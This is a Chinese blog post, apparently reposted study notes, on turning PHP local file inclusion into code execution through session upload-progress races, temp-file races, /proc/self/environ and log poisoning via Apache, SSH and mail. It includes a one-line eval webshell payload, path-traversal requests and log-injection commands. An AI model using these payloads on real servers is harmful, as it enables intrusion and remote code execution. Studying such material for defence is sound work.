总的来说,一般可以用 session 包含的方式尽量避免用 tmp 竞争的方式…血的教训…
条件:开启session.upload_progress.enabled
,session 文件路径已知,且其中内容部分可控。
当
session.upload_progress.enabled
INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态当一个上传在处理中,同时 POST 一个与 INI 中设置的
session.upload_progress.name
同名变量时,上传进度可以在$_SESSION
中获得。 当 PHP 检测到这种POST请求时,它会在$_SESSION
中添加一组数据, 索引是session.upload_progress.prefix
与session.upload_progress.name
连接在一起的值。
php 的 session 文件的保存路径可以在 phpinfo 的 session.save_path 看到。
常见的php-session存放位置:
我们可以构造一个上传界面
1
|
<!DOCTYPE html>
|
发送以下的 HTTP 请求
1
|
POST /?file=/tmp/php/sess_a HTTP/1.1
|
但是因为 PHP session 会话机制的关系,仅仅一次包含得到的sess_a
文件为空,所以我们需要竞争包含,使用 burp intruder 等形式都可以。
大概30次可以成功7次左右,可以看到包含文件回显,但是看不到具体的文件内容,因为有部分 php 代码被解析了,所以我们可以使用tail -f
监测sess_a
的文件变化查看文件内容,可以看到内容如下:
1
|
upload_progress_<?php file_put_contents("/tmp/a",‘<?php eval($_POST[\‘a\‘]);?>‘);?>|a:5:{s:10:"start_time";i:1559816745;s:14:"content_length";i:690;s:15:"bytes_processed";i:690;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:5:"file1";s:4:"name";s:5:"1.php";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1559816745;s:15:"bytes_processed";i:0;}}}
|
可以发现其中有 php 代码,所以当我们使用include
包含该文件的时候会执行该文件当中的 php 代码,让其执行。
条件:tmp 文件路径已知
php中上传文件,会创建临时文件。一般默认 php tmp 目录在 linux 下使用 /tmp 目录,而在 windows 下使用 c:\winsdows\temp 目录。在临时文件被删除之前,利用竞争即可包含该临时文件。
如果存在phpinfo()
界面即可配合phpinfo()
界面的回显来利用,例如向phpinfo()
界面上传一个文件,可以得到文件名的回显,再利用一些方法阻塞服务器的操作就可以进行包含了
具体流程如下:
可以参考脚本exp.py
利用条件:
在某些环境中,如果存在读取/proc/self/environ
的权限,可以检查是否环境变量存在有与 HTTP 环境有关的变量,例如HTTP_USER_AGENT
等等
1
|
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
类似地,/proc/self/fd/id
(或它的符号链接:/dev/fd
)可以与 HTTP Referer 字段结合使用,以通过 apache2 将 payload 注入打开的错误日志中。 但是要确定当前进程的文件描述符。
利用条件: 需要知道服务器日志的存储路径,且日志文件可读。
很多时候,web服务器会将请求写入到日志文件中,比如说 apache 。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入 error.log。默认情况下,日志保存路径在 /var/log/apache2/。
在一些场景中,log的地址是被修改掉的。你可以通过读取相应的配置文件后,再进行包含。
利用条件:需要知道ssh-log的位置,且可读。默认情况下为 /var/log/auth.log
用ssh连接:
1
|
ubuntu@VM-207-93-ubuntu:~$ ssh ‘<?php phpinfo(); ?>‘@remotehost
|
之后会提示输入密码等等,随便输入。
然后在 remotehost 的 ssh log 中即可写入php代码
如果服务器存在邮件服务,则可以通过邮件发送 payload ,并在/var/log/<user>
下包含相关日志(每个其他用户都有自己的文件)。
1
|
mail -s "<?=phpinfo();?>" www-data@victim.com < /dev/null
|
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
之前思路一直停留在 利用日志包含。。。。除了日志还有这3中方式,方法。收藏记录一下
实战不错的一篇文章
https://www.4hou.com/vulnerable/7774.html
原文:https://www.cnblogs.com/anbuxuan/p/11836352.html